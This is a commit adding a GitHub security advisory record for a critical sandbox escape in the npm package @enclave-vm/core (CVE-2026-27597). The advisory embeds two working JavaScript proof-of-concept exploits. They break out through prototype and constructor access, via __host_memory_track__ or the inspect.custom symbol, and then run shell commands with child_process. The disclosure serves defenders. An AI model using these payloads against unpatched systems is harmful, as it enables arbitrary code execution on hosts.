Publish GHSA-f229-3862-4942

Author: advisory-database[bot]

advisories/github-reviewed/2026/02/GHSA-f229-3862-4942/GHSA-f229-3862-4942.json

@@ -0,0 +1,64 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-f229-3862-4942",
+  "modified": "2026-02-25T17:26:23Z",
+  "published": "2026-02-25T17:26:23Z",
+  "aliases": [
+    "CVE-2026-27597"
+  ],
+  "summary": "@enclave-vm/core is vulnerable to Sandbox Escape",
+  "details": "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () => {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) => {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@enclave-vm/core"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "2.11.1"
+            }
+          ]
+        }
+      ],
+      "database_specific": {
+        "last_known_affected_version_range": "<= 2.10.1"
+      }
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27597"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/agentfront/enclave"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-94"
+    ],
+    "severity": "CRITICAL",
+    "github_reviewed": true,
+    "github_reviewed_at": "2026-02-25T17:26:23Z",
+    "nvd_published_at": "2026-02-25T04:16:03Z"
+  }
+}